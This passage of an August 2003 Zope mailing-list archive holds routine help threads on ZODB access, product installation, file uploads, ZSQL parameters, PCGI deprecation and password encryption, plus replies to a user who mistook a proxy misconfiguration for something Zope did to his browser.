and not doubt, because he who doubts is like a wave of the sea, blown and tossed by the wind. James 1:5-6 http://dman13.dyndns.org/~dman/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 240 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030811/f63dd420/attachment.bin From mlong at datalong.com Mon Aug 11 13:15:09 2003 From: mlong at datalong.com (Michael Long) Date: Mon Aug 11 12:15:15 2003 Subject: [Zope] User object Message-ID: I forgot to mention that I am using exUserFolder. > > Now that I can access the ZODB via the python interpreter I can't seem > to find the User object and its methods. The challange I am facing is > that to see some of the objects in the ZODB I must be an authenticated > user. I have tried both of these with no luck. > > dir(app) > dir(Zope) > > What am I missing? > > tia, > Mike > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > > From stefan at epy.co.at Mon Aug 11 20:14:18 2003 From: stefan at epy.co.at (Stefan H. Holek) Date: Mon Aug 11 13:15:04 2003 Subject: [Zope] User object In-Reply-To: References: Message-ID: <1406133641.1060629258@[172.16.8.4]> To login use newSecurityManager() as described here: Stefan --On Montag, 11. August 2003 12:05 -0400 Michael Long wrote: > Now that I can access the ZODB via the python interpreter I can't seem > to find the User object and its methods. The challange I am facing is > that to see some of the objects in the ZODB I must be an authenticated > user. I have tried both of these with no luck. > > dir(app) > dir(Zope) > > What am I missing? -- The time has come to start talking about whether the emperor is as well dressed as we are supposed to think he is. /Pete McBreen/ From jccooper at jcameroncooper.com Mon Aug 11 13:26:45 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Mon Aug 11 13:27:21 2003 Subject: [Zope] squishdot In-Reply-To: <20030809235943.73714.qmail@web13115.mail.yahoo.com> References: <20030809235943.73714.qmail@web13115.mail.yahoo.com> Message-ID: <3F37D1D5.5080607@jcameroncooper.com> > > >I need help to install Squishdot. >In my PC I have installed Zope 2.6.2b5 and I didn't >know in what directory put the zip that gets off the >page zope.org. neither how to make to use it (Is it >necessary to configure something?) > > http://squishdot.org/Documentation#install Unfortunately it's in English. Maybe Google can help: http://translate.google.com/translate?u=http%3A%2F%2Fsquishdot.org%2FDocumentation%23install&langpair=en%7Ces&hl=en&ie=UTF-8&oe=UTF-8&prev=%2Flanguage_tools In short, it's just like installing any Zope product: use WinZIP or something that can handle the tar.gz format to decompress the contents of the Squishdot archive into your Zope Products directory. This is Zope/lib/python/Products or INSTANCE_HOME/Products if you have an instance_home installation. Then add a Squishdot object to your Zope site from the pulldown menu in the management pages. --jcc -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." From sgillies at frii.com Mon Aug 11 13:01:55 2003 From: sgillies at frii.com (Sean Gillies) Date: Mon Aug 11 14:02:01 2003 Subject: [Zope] inaccessible objects in my zope.org members folder Message-ID: Am trying to update the content of my member folder. On the old zope.org I had created a DTML Document named 'index_html'. This is still hanging around but I can't find a way to edit it through the new zope.org site. It doesn't appear in the folder contents. Will it have to be manually removed from the ZODB? Sean -- Sean Gillies http://zope.org/Members/sgillies From jccooper at jcameroncooper.com Mon Aug 11 14:34:49 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Mon Aug 11 14:39:15 2003 Subject: [Zope] Re: Zope File Library help In-Reply-To: <3F354351.2040406@ncsu.edu> References: <3F354351.2040406@ncsu.edu> Message-ID: <3F37E1C9.4000107@jcameroncooper.com> > I came across your email in a zope archive. I am new to zope and am > trying to do something similar. Actually, something that the example > file library in zope does for the most part. I just want a directory > where people can upload files and down load them. Make changes, and > put them back. The example works great until you try to upload a file > that is already there. It only works to add a new file. I have spent > at least a day trying to figure out exactly how to change the > manage_addFile to something that would just overwrite the existing > file without any luck. Did you find a solution? Do you have an > idea? I have looked at manage_upload and have not figured out how to > make it work. > > ... > > The code for the add script is > """ > Adds a file to the library. > """ > from Products.PythonScripts.standard import url_quote > > # create the file > container.Files.manage_addProduct['OFSP'].manage_addFile(id='', > title='', file=file) > > # create a success message > message="File '%s' uploaded successfully." % file.filename > > # redirect to main page - this is necessary to make all the URLs > # on the main page work correctly. > return context.REQUEST.RESPONSE.redirect("%s?message=%s" % > (container.absolute_url(), url_quote(message))) I'm kind of suspicious of the empty string as an id, but assuming that makes the id equal to file.filename, then how about:: if container.Files[file.filename]: container.Files.manage_delObjects([file.filename]) container.Files.manage_addProduct['OFSP'].manage_addFile(id='', title='', file=file) or, a little more elegantly:: obj = container.Files[file.filename] if obj is not None: obj.update_data(file) else: container.Files.manage_addProduct['OFSP'].manage_addFile(id='', title='', file=file) Where did I find those methods, you ask? Zope Help System > API > File, ObjectManager is all I needed. Also, I'm copying this to the list, so that others can see. It's probably best to send things to the list, too. I might have been on vacation or hit by a bus or something. --jcc fyi, the second example can probably be shortened to:: if obj = container.Files[file.filename]: obj.update_data(file) else: container.Files.manage_addProduct['OFSP'].manage_addFile(id='', title='', file=file) -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." From dieter at handshake.de Mon Aug 11 21:29:00 2003 From: dieter at handshake.de (Dieter Maurer) Date: Mon Aug 11 14:47:42 2003 Subject: [Zope] parameter transfer to a zsql-method (lists, dictionaries etc.) In-Reply-To: <008301c35fe9$2115c780$010aa8c0@PCA> References: <008301c35fe9$2115c780$010aa8c0@PCA> Message-ID: <16183.57452.544762.804912@gargle.gargle.HOWL> Elena Schulz wrote at 2003-8-11 10:56 +0200: > >I think your parameter construction is wrong. You're telling Zope that a > list is a string, and furthermore, to iterate over a string, which won't > work. > > In the ZSQLGuide I've got it says that ids:list:int indicates that ids is a > list of integers. So columns:list:string should mean that columns is a list > of strings. But even columns:list didn't work. > > After further investigation I think the parameter-parsing of zsql-methods is > quite restricted and it's better to pass "complicated" structures via a > single dictionary. I'll try that. But still I would like to know how it > would work with lists and dtml_in constructs. Anyway some complete examples > including the parameter part would enhance the ZSQLGuide a lot. At least in old time, the argument type casting of ZSQL Methods was working only in special cases. I would not trust it. When an argument has the correct type (i.e. a sequence), you can use "dtml_in" in the normal way. Dieter From dieter at handshake.de Mon Aug 11 21:27:07 2003 From: dieter at handshake.de (Dieter Maurer) Date: Mon Aug 11 14:47:51 2003 Subject: [Zope] Accessing the User properties from portal_membership tool In-Reply-To: References: <1060516501.24083.94.camel@jerry.westrick.local> Message-ID: <16183.57339.509635.576031@gargle.gargle.HOWL> It would have been better to ask this CMF related question in the CMF mailing list (). Karuneesh Bagga wrote at 2003-8-11 14:09 +0530: > ... > The function getAuthenticatedMember returns the member object by which i am > able to access the currently logged in user properties like his email etc. You can use the "MembershipTool" method "getMemberById" to obtain a "MemberData" object for a member identified by it id (aka "username"). This method is protected by the "ManagePortal" permission. Thus, you may need a proxie role. Then you can use the "MemberData" method "setProperties" to modify the properties for this member. Dieter From robertjean2 at yahoo.com Mon Aug 11 13:31:13 2003 From: robertjean2 at yahoo.com (Robert Jean) Date: Mon Aug 11 15:31:47 2003 Subject: [Zope] Source Control Message-ID: <20030811193113.61307.qmail@web41809.mail.yahoo.com> Hello, I am looking for a source control system for objects stored in the ZODB. ZCVSFolder looks nice, but it is quite old and UNIX only. We are running Windows and Zope 2.6. Any suggestion? Thanks, Robert __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com From jamie at audible.transient.net Mon Aug 11 13:53:48 2003 From: jamie at audible.transient.net (Jamie Heilman) Date: Mon Aug 11 15:54:39 2003 Subject: [Zope] Re: Zope File Library help In-Reply-To: <3F37E1C9.4000107@jcameroncooper.com> References: <3F354351.2040406@ncsu.edu> <3F37E1C9.4000107@jcameroncooper.com> Message-ID: <20030811195348.GA18229@audible.transient.net> > fyi, the second example can probably be shortened to:: > > if obj = container.Files[file.filename]: nope, python doesn't allow that From jonas at freesources.org Mon Aug 11 22:55:16 2003 From: jonas at freesources.org (Jonas Meurer) Date: Mon Aug 11 15:55:36 2003 Subject: [Zope] newbie problems with zope in debian/testing In-Reply-To: <20030811133735.GA658@smeagol.chathelp.de> References: <20030810222944.GB13537@smeagol.chathelp.de> <3F37302C.1090409@localguru.de> <20030811021025.GC615@smeagol.chathelp.de> <1060599975.7801.9.camel@mickymouse.sintel> <20030811133735.GA658@smeagol.chathelp.de> Message-ID: <20030811195516.GB658@smeagol.chathelp.de> * Jonas Meurer [ 03/08/11]: > mh, after 'zope create' and answering the debconf questions, i got at > the following at fetching http://localhost:9673/: sure i meant 'zopectl create'. bye mejo From jccooper at jcameroncooper.com Mon Aug 11 16:14:24 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Mon Aug 11 16:14:58 2003 Subject: [Zope] Re: Zope File Library help In-Reply-To: <20030811195348.GA18229@audible.transient.net> References: <3F354351.2040406@ncsu.edu> <3F37E1C9.4000107@jcameroncooper.com> <20030811195348.GA18229@audible.transient.net> Message-ID: <3F37F920.4090506@jcameroncooper.com> > > >>fyi, the second example can probably be shortened to:: >> >>if obj = container.Files[file.filename]: >> >> > >nope, python doesn't allow that > > Hm. Good. I always thought that was too magical. Probably should have tested ere writing. --jcc -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." From jccooper at jcameroncooper.com Mon Aug 11 16:17:09 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Mon Aug 11 16:17:42 2003 Subject: [Zope] inaccessible objects in my zope.org members folder In-Reply-To: References: Message-ID: <3F37F9C5.3060603@jcameroncooper.com> > Am trying to update the content of my member folder. On > the old zope.org I had created a DTML Document named > 'index_html'. This is still hanging around but I can't > find a way to edit it through the new zope.org site. It > doesn't appear in the folder contents. > > Will it have to be manually removed from the ZODB? The new in-context (Plone-ish) folder management page doesn't show some of the document types, including DTML, HowTos, Structured Documents, and probably some more. You can still see the whole contents like http://zope.org/Members/username/manage --jcc -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." From john at academiccolab.org Mon Aug 11 17:22:46 2003 From: john at academiccolab.org (John Toews) Date: Mon Aug 11 17:22:51 2003 Subject: [Zope] Zope caching method results?? Message-ID: <8D0E60044699BB499447ED91DA3F3E2F7A02@rp150.uwsa.edu> I have an external method that is using a class I've written. The class uses another module (dbxml for the Berkeley XML database). It _appears_ as if Zope is caching function results from the dbxml module. The data doesn't change, but the memory address does. tmpXmlResults = self._manifest.queryWithXPath(resourceXpath, self._manifestcontext) The code runs perfectly if run outside of Zope simply on the command line. Is there any sort of caching that Zope does of non-product Python objects? Or function results? Etc.? Thanks, John toews From alex_c at MIT.EDU Mon Aug 11 18:44:34 2003 From: alex_c at MIT.EDU (Alex Coventry) Date: Mon Aug 11 17:42:23 2003 Subject: [Zope] Changing default content for DTML Documents? Message-ID: Hi. The default content for DTML Documents is incompatible with Epoz. If you point Epoz at a newly created document, and click submit, the result is the error 'Invalid attribute name, "standard_html_header", for tag , on line 1 of test.' To get around this, I would like newly created documents to start with no text. Is there an easy way to do this, short of changing Zope's source? Alex. From victor_aponte17 at hotmail.com Mon Aug 11 19:05:42 2003 From: victor_aponte17 at hotmail.com (Victor Aponte) Date: Mon Aug 11 18:06:16 2003 Subject: [Zope] Conflict in entering websites Message-ID: Hello, I would please like to know why I cant go into some sites, like www.helihobby.com, www.centuryheli.com, or www.hobbylobby.com. Thank you. _________________________________________________________________ STOP MORE SPAM with the new MSN 8 and get 2 months FREE* http://join.msn.com/?page=features/junkmail From lluporini at yahoo.com.ar Mon Aug 11 20:09:56 2003 From: lluporini at yahoo.com.ar (Luis Mariano Luporini) Date: Mon Aug 11 18:10:06 2003 Subject: [Zope] Extrange behavior with numeric datatypes and decimal places In-Reply-To: <3F2DD78B.5090903@yahoo.com.ar> References: <3F2DD78B.5090903@yahoo.com.ar> <3F2E3C55.1070306@nipltd.com> <3F2E647F.6010804@yahoo.com.ar> <3F2F824B.3070009@nipltd.com> <3F311994.4050607@yahoo.com.ar> <3F3283A4.9040508@nipltd.com> Message-ID: <3F381434.9070803@yahoo.com.ar> You're right but anyway I suppose I'll handle it with formatting options. Thanks Chris. Luis. Chris Withers wrote: > Luis Mariano Luporini wrote: > >> Chris: >> >> That is the code I'm having problems with. > > > I know, that's why I asked you to supply it so we can take a look and > help you! > >> If I run that in psql, I get the number of decimal places specified >> by the numeric casting but, if I run it in a zsql I get just un >> decimal place regardless of what is specified in the cast operation. > > > The DA is probably turning the returned number into a python Float, > the default representation of which has one decimal place. > >> As suggested by Neil Smith in the zope-db list I could use a >> formating mask in dtml or zpt but I think that default behavior >> should be to left the query as it is. > > > Then you'd get a string ;-) Most people want numbers when they select > numeric columns from relational databases... > > Chris > From sgillies at frii.com Mon Aug 11 17:23:21 2003 From: sgillies at frii.com (Sean Gillies) Date: Mon Aug 11 18:23:35 2003 Subject: [Zope] inaccessible objects in my zope.org members folder In-Reply-To: <3F37F9C5.3060603@jcameroncooper.com> Message-ID: <6A4BD0D6-CC4A-11D7-AC23-000393B98B56@frii.com> On Monday, August 11, 2003, at 02:17 PM, J Cameron Cooper wrote: >> Am trying to update the content of my member folder. On >> the old zope.org I had created a DTML Document named >> 'index_html'. This is still hanging around but I can't >> find a way to edit it through the new zope.org site. It >> doesn't appear in the folder contents. >> >> Will it have to be manually removed from the ZODB? > > The new in-context (Plone-ish) folder management page doesn't show > some of the document types, including DTML, HowTos, Structured > Documents, and probably some more. > > You can still see the whole contents like > > http://zope.org/Members/username/manage > > --jcc > Thanks, JCC! Sean -- Sean Gillies http://zope.org/Members/sgillies From maik.jablonski at uni-bielefeld.de Tue Aug 12 01:44:48 2003 From: maik.jablonski at uni-bielefeld.de (Maik Jablonski) Date: Mon Aug 11 18:44:58 2003 Subject: [Zope] Re: Changing default content for DTML Documents? In-Reply-To: References: Message-ID: Alex Coventry wrote: > Hi. The default content for DTML Documents is incompatible with Epoz. > If you point Epoz at a newly created document, and click submit, the > result is the error 'Invalid attribute name, "standard_html_header", for > tag , on line 1 of test.' To get > around this, I would like newly created documents to start with no text. > Is there an easy way to do this, short of changing Zope's source? Have a look at AbracadbraObject: http://www.zope.org/Members/mjablonski/AbracadabraObject AO is a factory which allows you to create modified content-types from existing content-types. Cheers, Maik From horatio at qpsf.edu.au Tue Aug 12 10:10:46 2003 From: horatio at qpsf.edu.au (Aguido Horatio Davis) Date: Mon Aug 11 19:18:49 2003 Subject: [Zope] Can't build resource file for PCGI on Zope 2.7b1 In-Reply-To: <1168C451-CBF1-11D7-A878-000393D58818@zope.com> Message-ID: On Mon, 11 Aug 2003, Jens Vagelpohl wrote: > Unless you have a pressing reason to choose PCGI do not do it. Use > RewriteRules with Apache to achieve the desired effect simpler and more > efficiently. Have your Zope listen on a local port on that machine. For reasons that don't make sense to me, the local httpd is not compiled with mod_rewrite, and rebuilding it with mod_rewrite is impossible. Is PCGI being deprecated from Zope? Cheers, Horatio From r.rapoport at fi.com Mon Aug 11 18:27:08 2003 From: r.rapoport at fi.com (Roy Rapoport) Date: Mon Aug 11 20:28:56 2003 Subject: [Zope] Synchronizing Two (Disparate) Zope Installations Message-ID: <9529EF5D791B794DB3CFAE1635F0805B0CA94834@email.fi.com> We'd love some sort of capability for comparing a directory (and all its contents and their contents etc) on one zope server with the same-named directory at a different path on a different Zope server -- in other words: http://server1/path1/to/RootDirectory vs. http://server2/path2/to/the/RootDirectory And ideally also easily synchronize them. ZSyncer, which is no longer in very active development, requires the directory path to be the same. Is there another product we might be able to use? TIA, -roy Content-Type: text/plain; charset="iso-8859-1" ------------------------------------------------- PLEASE READ THIS WARNING: All e-mail sent to or from this address will be received or otherwise recorded by the Fisher Investments corporate e-mail system and is subject to archival, monitoring or review by, and/or disclosure to, someone other than the recipient. From executive at libertypr.net Mon Aug 11 21:46:10 2003 From: executive at libertypr.net (=?iso-8859-1?Q?Milton_A._Col=F3n?=) Date: Mon Aug 11 20:46:19 2003 Subject: [Zope] (no subject) Message-ID: <000701c3606b$1f831f80$f80c910a@homeoffice> Skipped content of type multipart/alternative-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/octet-stream Size: 9287 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030811/fec6411a/attachment.obj From executive at libertypr.net Mon Aug 11 21:46:35 2003 From: executive at libertypr.net (=?iso-8859-1?Q?Milton_A._Col=F3n?=) Date: Mon Aug 11 20:46:44 2003 Subject: [Zope] Info Message-ID: Skipped content of type multipart/alternative-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/octet-stream Size: 9287 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030811/077fe076/attachment.obj From phil at xfr.co.uk Tue Aug 12 03:40:07 2003 From: phil at xfr.co.uk (Philip Kilner) Date: Mon Aug 11 21:40:53 2003 Subject: [Zope] Info In-Reply-To: References: Message-ID: <3F384577.2070904@xfr.co.uk> Hi Milton, Milton A. Col?n wrote: > I can not surf the internet because every page I try to reach give me > the messege below. I want to know what do you did to my browser and how > I can fix it. I do not have any Zope software or whatever it is. > Please respond as soon as you receive this e-mail or I am going to take > legal action. > The page you cite is the Zope default page. After a Zope installation, it is typically at http://localhost:8080 (e.g. on a non-standard port, but on your local machine). There may be a copy of Zope installed locally, or you may have some sort of proxy configuration which is mistakenly serving this page in response to requests for other addresses. In the former case, you may wish to check if Zope is installed on your machine. In the latter case, you may wish to check your proxy configuration. In either case, a temperate request for help may well receive a better response than threats. BTW, I am not affiliated in any way with the Zope corporation, and I doubt very much that the whoever is responsible for your predicament is either. HTH -- Regards, PhilK Email: phil@xfr.co.uk / Voicemail & Facsimile: 07092 070518 "the symbols of the divine show up in our world initially at the trash stratum." Philip K Dick -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/x-pkcs7-signature Size: 3403 bytes Desc: S/MIME Cryptographic Signature Url : http://lists.zope.org/pipermail/zope/attachments/20030812/8e661fe2/smime.bin From chrism at zope.com Tue Aug 12 03:07:53 2003 From: chrism at zope.com (Chris McDonough) Date: Mon Aug 11 22:07:56 2003 Subject: [Zope] (no subject) In-Reply-To: <000701c3606b$1f831f80$f80c910a@homeoffice> References: <000701c3606b$1f831f80$f80c910a@homeoffice> Message-ID: <1060654080.8452.136.camel@athlon.nv.cox.net> Hi, Can you give an account of how you think this may have happened? Zope is an open source "application server", which means its a piece of software that other people use to build applications that you use in your web browser. It does not do anything itself, programmers make use of it to perform specific functions. By writing this maillist you have written to a group of people (~1000 or ) who use the Zope application server for a variety of tasks, none that I know of which are subversive in any way. I don't know what you're talking about myself, and I'm pretty sure nobody else here does either. It is likely that someone has set up your browser to continually connect to a Zope server without your knowledge, but it probably wasn't any of us. ;-) Any clues would be helpful, - C On Mon, 2003-08-11 at 20:46, Milton A. Col?n wrote: > I can not surf the internet because every page I try to reach give me > the messege below. I want to know what do you did to my browser and > how I can fix it. I do not have any Zope software or whatever it is. > Please respond as soon as you receive this e-mail or I am going to > take legal action. > > > > > > Zope Quick Start > > > Welcome to Zope, a high-performance object-oriented platform for > building dynamic Web applications. Here are some quick pointers to get > you started: > > * Read The Fine Manual. This document guides you through the > whole process of learning Zope, from logging in for the first > time to creating your own web applications. > > * There is a built-in interactive Zope Tutorial which gets you > started with some simple tasks using the Zope managment > interface. To use the tutorial, go to any Folder and select > Zope Tutorial from the add list and click the Add button. > Provide a name for the tutorial and click Add to begin working > with the tutorial. > > * Check out the new example Zope applications. These examples > show you simple working Zope applications that you can copy > and modify. > > * Go to the main Documentation Overview on Zope.org. Here you > will find pointers to official and community contributed > documentation. > > * Look at the various Mailing Lists about Zope. The Mailing > Lists are where you can get quick, accurate, friendly help > from a large community of Zope users from around the world. > > * Browse and search the integrated, Online Help System which > contains documentation on the various kinds of components > you'll find in Zope. > > * Go directly to the Zope Management Interface if you'd like to > start working with Zope right away. NOTE: Some versions of > Microsoft Internet Explorer, (specifically IE 5.01 and early > versions of IE 5.5) may have problems displaying Zope > management pages. If you cannot view the management pages, try > upgrading your IE installation to the latest release version, > or use a different browser. > > * Find out about Zope Corporation, the publishers of Zope. > > Powered by Zope > > > > ______________________________________________________________________ > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From zope at dylanreinhardt.com Tue Aug 12 03:26:09 2003 From: zope at dylanreinhardt.com (Dylan Reinhardt) Date: Mon Aug 11 22:26:11 2003 Subject: [Zope] Liberty PR http proxy error - please correct ASAP In-Reply-To: References: Message-ID: <1060655137.4719.38.camel@ida.dylanreinhardt.com> Dear Liberty PR Administrator, It would appear that your users are currently unable to browse the Internet using your service because of a server mis-configuration. I believe that you may be running Zope on a machine that is normally used for http proxy (or possibly DNS) service. In such a configuration, users might see the Zope default page instead of the page they requested. Some users have gotten the mistaken impression that we are the source of their problem and have turned to the Zope mailing list for assistance (see attached). Please take all appropriate action to correct the problem and notify your users that the Zope software and Zope user group are not the cause of their problem. As much as we'd like to help your users, we aren't causing this problem and can't be of much assistance. We certainly don't deserve threats of legal action. Thanks in advance. On Mon, 2003-08-11 at 17:46, Milton A. Col?n wrote: > I can not surf the internet because every page I try to reach give me > the messege below. I want to know what do you did to my browser and > how I can fix it. I do not have any Zope software or whatever it is. > Please respond as soon as you receive this e-mail or I am going to > take legal action. > > > > > > Zope Quick Start > > > Welcome to Zope, a high-performance object-oriented platform for > building dynamic Web applications. Here are some quick pointers to get > you started: > > * Read The Fine Manual. This document guides you through the > whole process of learning Zope, from logging in for the first > time to creating your own web applications. > > * There is a built-in interactive Zope Tutorial which gets you > started with some simple tasks using the Zope managment > interface. To use the tutorial, go to any Folder and select > Zope Tutorial from the add list and click the Add button. > Provide a name for the tutorial and click Add to begin working > with the tutorial. > > * Check out the new example Zope applications. These examples > show you simple working Zope applications that you can copy > and modify. > > * Go to the main Documentation Overview on Zope.org. Here you > will find pointers to official and community contributed > documentation. > > * Look at the various Mailing Lists about Zope. The Mailing > Lists are where you can get quick, accurate, friendly help > from a large community of Zope users from around the world. > > * Browse and search the integrated, Online Help System which > contains documentation on the various kinds of components > you'll find in Zope. > > * Go directly to the Zope Management Interface if you'd like to > start working with Zope right away. NOTE: Some versions of > Microsoft Internet Explorer, (specifically IE 5.01 and early > versions of IE 5.5) may have problems displaying Zope > management pages. If you cannot view the management pages, try > upgrading your IE installation to the latest release version, > or use a different browser. > > * Find out about Zope Corporation, the publishers of Zope. > > Powered by Zope > > > > ______________________________________________________________________ > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From jens at zope.com Mon Aug 11 23:33:22 2003 From: jens at zope.com (Jens Vagelpohl) Date: Mon Aug 11 22:33:56 2003 Subject: [Zope] Can't build resource file for PCGI on Zope 2.7b1 In-Reply-To: Message-ID: <57D23552-CC6D-11D7-B9A2-000393D58818@zope.com> >> Unless you have a pressing reason to choose PCGI do not do it. Use >> RewriteRules with Apache to achieve the desired effect simpler and >> more >> efficiently. Have your Zope listen on a local port on that machine. > > For reasons that don't make sense to me, the local httpd is not > compiled > with mod_rewrite, and rebuilding it with mod_rewrite is impossible. > > Is PCGI being deprecated from Zope? It is not receiving much attention anymore, to put it like that. With mechanisms like mod_rewrite and mod_proxy PCGI is almost never an appropriate solution anymore. If you don't have mod_rewrite, do you have mod_proxy? Then you van use ProxyPass directives to achieve a similar effect. jens From chrism at zope.com Tue Aug 12 03:38:12 2003 From: chrism at zope.com (Chris McDonough) Date: Mon Aug 11 22:38:14 2003 Subject: [Zope] Can't build resource file for PCGI on Zope 2.7b1 In-Reply-To: <57D23552-CC6D-11D7-B9A2-000393D58818@zope.com> References: <57D23552-CC6D-11D7-B9A2-000393D58818@zope.com> Message-ID: <1060655881.2208.148.camel@athlon.nv.cox.net> On Mon, 2003-08-11 at 22:33, Jens Vagelpohl wrote: > > > > Is PCGI being deprecated from Zope? > > It is not receiving much attention anymore, to put it like that. With > mechanisms like mod_rewrite and mod_proxy PCGI is almost never an > appropriate solution anymore. Yes, PCGI is being deprecated. Past 2.7 it will no longer available in the source distribution (nor in any binary distribution I'm aware of). - C From pw_lists at slinkp.com Tue Aug 12 02:26:07 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Tue Aug 12 01:26:57 2003 Subject: [Zope] Synchronizing Two (Disparate) Zope Installations In-Reply-To: <9529EF5D791B794DB3CFAE1635F0805B0CA94834@email.fi.com> References: <9529EF5D791B794DB3CFAE1635F0805B0CA94834@email.fi.com> Message-ID: <20030812052607.GA2503@slinkp.com> On Mon, Aug 11, 2003 at 05:27:08PM -0700, Roy Rapoport wrote: > > We'd love some sort of capability for comparing a directory (and all its > contents and their contents etc) on one zope server with the same-named > directory at a different path on a different Zope server -- in other words: > http://server1/path1/to/RootDirectory > vs. > http://server2/path2/to/the/RootDirectory > > And ideally also easily synchronize them. ZSyncer, which is no longer in > very active development, i can see how you'd get that impression, but in fact the current CVS version has some (small) enhancements over the last release, and I've got a bunch of stuff to check in as soon as it's tested a bit more thoroughly - I'm hoping to put together a new release sometime this month. Notably, I now have a recursive comparison mode working, so it can show differences below the current folder. > requires the directory path to be the same. hmm, that could probably change pretty easily. nobody's ever asked about this before, AFAIK. I'll see if I can get to that. -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's THE FAST BOXER! (random hero from isometric.spaceninja.com) From anithageorge27 at hotmail.com Tue Aug 12 06:31:20 2003 From: anithageorge27 at hotmail.com (Anitha George) Date: Tue Aug 12 01:31:55 2003 Subject: [Zope] Encrypt/decrypt passwords in zope using rotor Message-ID: Hi Passwords can be encrypted/decrypted using Rotor-a biult in python module...More details given in python documentation...Not much sure now secure it is.. Anitha _________________________________________________________________ Help STOP SPAM with the new MSN 8 and get 2 months FREE* http://join.msn.com/?page=features/junkmail From exteam6 at yahoo.co.in Tue Aug 12 07:47:51 2003 From: exteam6 at yahoo.co.in (=?iso-8859-1?q?Exteam?=) Date: Tue Aug 12 01:48:28 2003 Subject: [Zope] Enhanced user tracking and security products in zope? In-Reply-To: <20030812052607.GA2503@slinkp.com> Message-ID: <20030812054751.35631.qmail@web8107.mail.in.yahoo.com> Hi I have just completed a demo site in Plone, and would like to know which pages, my users are interested in, how much time they spend on pages, which links they visit (and from where) etc. In order to do this, I am looking for some zope product which allows - 1) better user management than for eg with automatic password expiry (based on usage etc). 2) indication of which pages were most frequented by a certain users, clicks made, etc. Is there any product / software based on zope or plone which can meet these parameters? even half way thru? Any remarks will help... Harish ________________________________________________________________________ Yahoo! India Promos: Win TVs, Bikes, DVD players & more! Go to http://in.promos.yahoo.com From andreas at andreas-jung.com Tue Aug 12 08:49:29 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Tue Aug 12 01:49:17 2003 Subject: [Zope] Encrypt/decrypt passwords in zope using rotor In-Reply-To: References: Message-ID: <569169021.1060674569@[10.19.128.17]> So what is your question? Rotor is not very secure. Better check with the Python mailinglist about related crypto packages or just google it :-) -aj --On Dienstag, 12. August 2003 5:31 Uhr +0000 Anitha George wrote: > Hi > > > Passwords can be encrypted/decrypted using Rotor-a biult in python > module...More details given in python documentation...Not much sure now > secure it is.. > > Anitha > > _________________________________________________________________ > Help STOP SPAM with the new MSN 8 and get 2 months FREE* > http://join.msn.com/?page=features/junkmail > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From Jerry at Westrick.Com Tue Aug 12 06:55:29 2003 From: Jerry at Westrick.Com (Jerry Westrick) Date: Tue Aug 12 01:55:31 2003 Subject: [Zope] Info In-Reply-To: <3F384577.2070904@xfr.co.uk> References: <3F384577.2070904@xfr.co.uk> Message-ID: <1060665974.497.10.camel@jerry.westrick.local> This is a possibility... Somehow he's got his MS "Internet" settings mixed up: The proxy server setting now points to a zope server Of course since all his clients are messed up, I assume the dhcp is delivering the wrong value? So Milton: Please check the following: In Internet Explorer, Menu ->Tools->internet Options a New window should open... Then Click the connections tab There click the "LAN Settings" button a new window should open. The second half of this window has the settings for the "proxy server". If the "Use Proxy server for your LAN" is clicked then plase unclick it... Try accessing the internet now.... if it now works, Try rebooting the machine, and checking weither it reappers... Hope this helps Jerry On Tue, 2003-08-12 at 03:40, Philip Kilner wrote: > Hi Milton, > > Milton A. Col?n wrote: > > I can not surf the internet because every page I try to reach give me > > the messege below. I want to know what do you did to my browser and how > > I can fix it. I do not have any Zope software or whatever it is. > > Please respond as soon as you receive this e-mail or I am going to take > > legal action. > > > > The page you cite is the Zope default page. > > After a Zope installation, it is typically at http://localhost:8080 > (e.g. on a non-standard port, but on your local machine). > > There may be a copy of Zope installed locally, or you may have some sort > of proxy configuration which is mistakenly serving this page in response > to requests for other addresses. > > In the former case, you may wish to check if Zope is installed on your > machine. In the latter case, you may wish to check your proxy configuration. > > In either case, a temperate request for help may well receive a better > response than threats. > > BTW, I am not affiliated in any way with the Zope corporation, and I > doubt very much that the whoever is responsible for your predicament is > either. > > HTH From stefan at epy.co.at Tue Aug 12 11:42:24 2003 From: stefan at epy.co.at (Stefan H. Holek) Date: Tue Aug 12 04:43:09 2003 Subject: [Zope] DO NOT: Encrypt/decrypt passwords in zope using rotor ;-) In-Reply-To: References: Message-ID: <1461820360.1060684944@[172.16.8.4]> Hi Anitha! Zope provides the AccessControl.AuthEncoding module for password encryption and validation. The default algorithm, SSHA, is very secure. Stefan --On Dienstag, 12. August 2003 05:31 